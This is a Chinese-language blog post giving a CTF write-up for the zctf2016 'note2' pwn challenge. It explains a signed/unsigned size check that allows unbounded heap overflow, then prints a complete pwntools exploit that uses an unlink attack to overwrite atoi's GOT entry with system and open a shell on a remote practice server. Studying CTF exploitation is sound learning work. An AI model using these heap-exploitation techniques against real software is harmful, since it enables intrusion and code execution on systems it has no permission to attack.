zctf2016_note2:一个隐蔽的漏洞点挖掘

代码量挺大的,逆起来有难度
功能挺全,啥都有
main函数

add函数,有heaparray并且无pie保护,考虑unlink

show函数,可以泄漏地址用

edit函数,有两种edit方式

delete,找不到UAF洞

看了好久,都没找到漏洞,我是five,后来看到了师傅的博客,发现了漏洞点


在add里面没有对size是否小于等于0做检查,在read_input函数里面,有一个有符号整数和无符号整数的比较,漏洞就是二者会强制类型转换为无符号整数,然后size如果输入0的话,就会造成无穷堆溢出
看demo

然后找到漏洞利用点就比较简单了,利用堆溢出来unlink,由于edit函数里面有strcpy这种函数,加个for循环啥的来清空一下就好,这种都是动调,耐心一点儿没啥难度
写个exp改atoi,一把梭

from pwn import *

local = 0

binary = "./note2"
libc_path = '../libc-2.23.so'
port = "29856"

if local == 1:
	p = process(binary)
else:
	p = remote("node3.buuoj.cn",port)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def name(name):
	p.recvuntil('Input your name:')
	p.sendline(name)

def address(addr):
	p.recvuntil('Input your address:')
	p.sendline(addr)

def add(size,content):
	p.sendlineafter('option--->>','1')
	p.sendlineafter('Input the length of the note content:(less than 128)',str(size))
	p.sendafter('Input the note content:',content)

def show(index):
	p.sendlineafter('option--->>','2')
	p.sendlineafter('Input the id of the note:',str(index))

def edit(index,choice,content):
	p.sendlineafter('option--->>','3')
	p.sendlineafter('Input the id of the note:',str(index))
	p.sendlineafter('do you want to overwrite or append?[1.overwrite/2.append]',str(choice))
	p.sendafter('TheNewContents:',content)

def free(index):
	p.sendlineafter('option--->>','4')
	p.sendlineafter('Input the id of the note:',str(index))

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['atoi']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

elf = ELF(binary)
libc = ELF(libc_path)

heapindex = 0x602160
heaparray = 0x602120
sizearray = 0x602140

# unuseless
name('lemon')
address('i will never give you my secret~')

# heap overflow
fd = heaparray - 0x18
bk = heaparray - 0x10

payload = p64(0) + p64(0x81) + p64(fd) + p64(bk)
payload = payload.ljust(0x30,'a') + '\n'
add(0x60,payload)	# 0
add(0x0,'a' * 0x18 + '\n')	# 1
add(0x80,'cccc\n')	# 2
add(0x10,'/bin/sh\x00\n') # 3

edit(1,1,'a' * 0x18 + '\x90\n')

for i in range(8):
	edit(1,1,'a' * (0x17 - i) + '\x00\n')

edit(1,1,'a' * 0x10 + '\x80\n')

# unlink
free(2)

payload = 'a' * 0x18 + p64(elf.got['atoi']) + '\n'
edit(0,1,payload)

show(0)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
leak_libc(puts_addr)

payload = p64(system) + '\n'
edit(0,1,payload)

p.sendline('sh')

# gdb.attach(p)
p.interactive()

posted @ 2020-10-26 21:57  lemon想学二进制  阅读(177)  评论(0编辑  收藏  举报